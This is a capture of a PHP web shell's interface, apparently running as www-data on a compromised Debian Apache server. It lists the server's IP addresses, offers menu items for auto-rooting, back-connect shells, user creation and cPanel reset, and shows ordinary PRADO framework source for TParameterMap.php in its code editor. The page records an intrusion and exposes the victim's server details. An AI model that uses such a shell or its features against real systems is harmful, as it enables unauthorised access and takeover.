Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.144.16.40
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
framework /
Data /
SqlMap /
Configuration /
[ HOME SHELL ]
Name
Size
Permission
Action
TDiscriminator.php
5.44
KB
-rw-r--r--
TInlineParameterMapParser.php
2.11
KB
-rw-r--r--
TParameterMap.php
5.5
KB
-rw-r--r--
TParameterProperty.php
3.55
KB
-rw-r--r--
TResultMap.php
4.49
KB
-rw-r--r--
TResultProperty.php
9.3
KB
-rw-r--r--
TSimpleDynamicParser.php
1.15
KB
-rw-r--r--
TSqlMapCacheModel.php
5.69
KB
-rw-r--r--
TSqlMapStatement.php
10.35
KB
-rw-r--r--
TSqlMapXmlConfiguration.php
22.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TParameterMap.php
<?php /** * TParameterMap class file. * * @author Wei Zhuo <weizhuo[at]gmail[dot]com> * @link http://www.pradosoft.com/ * @copyright Copyright © 2005-2014 PradoSoft * @license http://www.pradosoft.com/license/ * @package System.Data.SqlMap.Configuration */ /** * TParameterMap corresponds to the <parameterMap> element. * * TParameterMap holds one or more parameter child elements that map object * properties to placeholders in a SQL statement. * * A TParameterMap defines an ordered list of values that match up with the * placeholders of a parameterized query statement. While the attributes * specified by the map still need to be in the correct order, each parameter * is named. You can populate the underlying class in any order, and the * TParameterMap ensures each value is passed in the correct order. * * Parameter Maps can be provided as an external element and inline. * The <parameterMap> element accepts two attributes: id (required) and extends (optional). * * @author Wei Zhuo <weizho[at]gmail[dot]com> * @package System.Data.SqlMap.Configuration * @since 3.1 */ class TParameterMap extends TComponent { private $_extend; private $_properties; private $_propertyMap; private $_extendMap; private $_ID; /** * Initialize the properties and property map collections. */ public function __construct() { $this->_properties = new TList; $this->_propertyMap = new TMap; } /** * @return string a unique identifier for the <parameterMap>. */ public function getID() { return $this->_ID; } /** * @param string a unique identifier for the <parameterMap>. */ public function setID($value) { $this->_ID=$value; } /** * @return TParameterProperty[] list of properties for the parameter map. */ public function getProperties() { return $this->_properties; } /** * @return string name of another <parameterMap> upon which to base this TParameterMap. */ public function getExtends() { return $this->_extend; } /** * @param string name of another <parameterMap> upon which to base this TParameterMap. */ public function setExtends($value) { $this->_extend = $value; } /** * @param string name of a parameter property. * @return TParameterProperty parameter property. * @throws TSqlMapException if index is not string nor integer. */ public function getProperty($index) { if(is_string($index)) return $this->_propertyMap->itemAt($index); else if(is_int($index)) return $this->_properties->itemAt($index); else throw new TSqlMapException('sqlmap_index_must_be_string_or_int', $index); } /** * @param TParameterProperty new parameter property */ public function addProperty(TParameterProperty $property) { $this->_propertyMap->add($property->getProperty(), $property); $this->_properties->add($property); } /** * @param int parameter property index * @param TParameterProperty new parameter property. */ public function insertProperty($index, TParameterProperty $property) { $this->_propertyMap->add($property->getProperty(), $property); $this->_properties->insertAt($index, $property); } /** * @return array list of property names. */ public function getPropertyNames() { return $this->_propertyMap->getKeys(); } /** * Get the value of a property from the the parameter object. * @param TSqlMapTypeHandlerRegistry type handler registry. * @param TParameterProperty parameter proproperty. * @param mixed parameter object to get the value from. * @return unknown */ public function getPropertyValue($registry, $property, $parameterValue) { $value = $this->getObjectValue($parameterValue,$property); if(($handler=$this->createTypeHandler($property, $registry))!==null) $value = $handler->getParameter($value); $value = $this->nullifyDefaultValue($property,$value); if(($type = $property->getType())!==null) $value = $registry->convertToType($type, $value); return $value; } /** * Create type handler from {@link Type setType()} or {@link TypeHandler setTypeHandler}. * @param TParameterProperty parameter property * @param TSqlMapTypeHandlerRegistry type handler registry * @return TSqlMapTypeHandler type handler. */ protected function createTypeHandler($property, $registry) { $type=$property->getTypeHandler() ? $property->getTypeHandler() : $property->getType(); $handler=$registry->getTypeHandler($type); if($handler===null && $property->getTypeHandler()) $handler = Prado::createComponent($type); return $handler; } /** * @param mixed object to obtain the property from. * @param TParameterProperty parameter property. * @return mixed property value. * @throws TSqlMapException if property access is invalid. */ protected function getObjectValue($object,$property) { try { return TPropertyAccess::get($object, $property->getProperty()); } catch (TInvalidPropertyException $e) { throw new TSqlMapException( 'sqlmap_unable_to_get_property_for_parameter', $this->getID(), $property->getProperty(), (is_object($object) ? get_class($object) : gettype($object)) ); } } /** * When the actual value matches the {@link NullValue TParameterProperty::setNullValue()}, * set the current value to null. * @param TParameterProperty parameter property. * @param mixed current property value * @return mixed null if NullValue matches currrent value. */ protected function nullifyDefaultValue($property,$value) { if(($nullValue = $property->getNullValue())!==null) { if($nullValue === $value) $value = null; } return $value; } }
Close